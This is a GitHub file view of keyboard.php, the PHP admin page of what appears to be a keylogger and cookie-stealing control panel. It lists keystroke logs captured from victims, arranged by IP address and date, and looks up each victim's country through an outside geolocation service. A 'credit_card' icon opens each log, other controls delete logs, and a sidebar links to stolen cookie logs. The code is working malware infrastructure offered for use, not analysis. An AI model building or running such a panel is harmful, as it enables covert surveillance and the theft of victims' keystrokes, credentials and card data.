-
Notifications
You must be signed in to change notification settings - Fork 0
/
keyboard.php
237 lines (204 loc) · 7.45 KB
/
keyboard.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
<?php
session_start();
if (!isset($_SESSION['logged_in'])
|| $_SESSION['logged_in'] !== true) {
header('Location: dashboard.php');
exit;
}
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Keyboard</title>
<link rel="icon" type="image/x-icon" href="/assets/img/favicon.ico">
<script src="css/bootstrap/js/jquery-3.4.1.min.js"></script>
<script src="css/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="css/bootstrap/js/sweetalert.min.js"></script>
<link href="css/icons.css" rel="stylesheet">
<link href="css/ubuntu.css" rel="stylesheet">
<!-- BOOTSTRAP STYLES-->
<link href="assets/css/bootstrap.css" rel="stylesheet" />
<!-- FONTAWESOME STYLES-->
<link href="assets/css/font-awesome.css" rel="stylesheet" />
<!-- MORRIS CHART STYLES-->
<link href="assets/js/morris/morris-0.4.3.min.css" rel="stylesheet" />
<!-- CUSTOM STYLES-->
<link href="assets/css/custom.css" rel="stylesheet" />
<!-- GOOGLE FONTS-->
<link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css' />
</head>
<body>
<?php
// Get dirs
function get_dirs($dir = '') {
return array_filter(glob('logs/' . $dir . '*'), 'is_dir');
}
// Get log files in dir
function get_files($dir = '') {
return array_filter(glob($dir . '*.html'), 'is_file');
}
?>
<style type="text/css">
.i {
position: relative;
top: 5px;
}
.sinfo:hover {
color: #9999ff;
cursor: pointer;
}
.skeylogs:hover {
color: #ff8000;
cursor: pointer;
}
.rlogs:hover {
color: #ff4d4d;
cursor: pointer;
}
</style>
<script type="text/javascript">
// Remove log file
function remove_log(log, row, callback) {
swal({
title: "Are you sure?",
text: "Delete log file?\n" + log,
icon: "warning",
buttons: true
}).then((result) => {
if (result) {
// Delete file
var http = new XMLHttpRequest();
var params = "logfile=" + log + "&cleanLogs";
http.open("POST", "remove.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(params);
// Message
swal(
"Deleted!",
"Your file has been deleted.",
"success"
);
// Hide
$(row).parent().parent().hide(1000);
}
});
}
</script>
<div id="wrapper">
<nav class="navbar navbar-default navbar-cls-top " role="navigation" style="margin-bottom: 0">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".sidebar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="dashboard.php">Admin Panel</a>
</div>
<div style="color: white;
padding: 15px 50px 5px 50px;
float: right;
font-size: 16px;"><a href="login.php" class="btn btn-danger square-btn-adjust">Logout</a> </div>
</nav>
<!-- /. NAV TOP -->
<nav class="navbar-default navbar-side" role="navigation">
<div class="sidebar-collapse">
<ul class="nav" id="main-menu">
<li class="text-center">
<img src="assets/img/find_user.png" class="user-image img-responsive"/>
</li>
<li>
<a href="dashboard.php"><i class="fa fa-dashboard fa-3x"></i> Dashboard</a>
</li>
<li>
<a class="active-menu" href="keyboard.php"><i class="fa fa-desktop fa-3x"></i>Keylogger</a>
</li>
<li >
<a href="cookies.php"><i class="fa fa-table fa-3x"></i>Cookie logs</a>
</li>
</ul>
</div>
</nav>
<!-- /. NAV SIDE -->
<div id="page-wrapper" >
<div id="page-inner">
<div class="row">
<div class="col-md-12">
<h2>Keylogger
</h2>
</div>
</div>
<div class="row">
<div class="col-md-12">
<!-- Advanced Tables -->
<div class="panel panel-default">
<div class="panel-heading">
Keylogger:
</div>
<div class="panel-body">
<div class="table-responsive">
<table class="table table-striped table-bordered table-hover" id="Keystrokes">
<tbody>
<!-- TABLE -->
<table class="table table-dark table-hover" id="logsTable" style="margin-top: 3%;">
<thead>
<tr style="font-family: 'Ubuntu', sans-serif;">
<th scope="col"> <i class="i material-icons">router</i> Host</th>
<th scope="col"> <i class="i material-icons">gps_fixed</i>Country</th>
<th scope="col"> <i class="i material-icons">date_range</i> Date</th>
<th scope="col"> <i class="i material-icons">settings</i> Settings</th>
</tr>
</thead>
<tbody>
<?php
// Get logs
foreach (get_dirs() as $ip_dir) {
foreach (get_dirs( explode("/", $ip_dir)[1] . '/') as $date_dir) {
foreach (get_files($date_dir . '/') as $log_file) {
$remote_log = explode("/", $log_file)[3];
$remote_dat = explode("/", $date_dir)[2];
//$i = json_decode(file_get_contents($log_file), true);
$ip =explode("/", $ip_dir)[1];
$ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
// display ip,countryName,dat
echo "
<tr>
<td>$ip</a></td>
<td>$ipdat->geoplugin_countryName</td>
<td>$remote_dat</td>
<td>
<i title='Show information' class='sinfo material-icons' onclick=\"window.open('$log_file ','newwindow', 'width=700,height=700');return false;\">credit_card</i>
<i title='Remove log' class='rlogs material-icons' onclick=\"remove_log('$log_file', this);\">delete_forever</i>
</td>
</tr>";
}
}
}
?>
</tbody>
</table>
</body>
</html>
<!-- /. PAGE WRAPPER -->
<!-- /. WRAPPER -->
<!-- SCRIPTS -AT THE BOTOM TO REDUCE THE LOAD TIME-->
<!-- JQUERY SCRIPTS -->
<script src="assets/js/jquery-1.10.2.js"></script>
<!-- BOOTSTRAP SCRIPTS -->
<script src="assets/js/bootstrap.min.js"></script>
<!-- METISMENU SCRIPTS -->
<script src="assets/js/jquery.metisMenu.js"></script>
<!-- DATA TABLE SCRIPTS -->
<script src="assets/js/dataTables/jquery.dataTables.js"></script>
<script src="assets/js/dataTables/dataTables.bootstrap.js"></script>
<script>
$(document).ready(function () {
$('#Keystrokes').dataTable();
});
</script>
<!-- CUSTOM SCRIPTS -->
<script src="assets/js/custom.js"></script>
</body>
</html>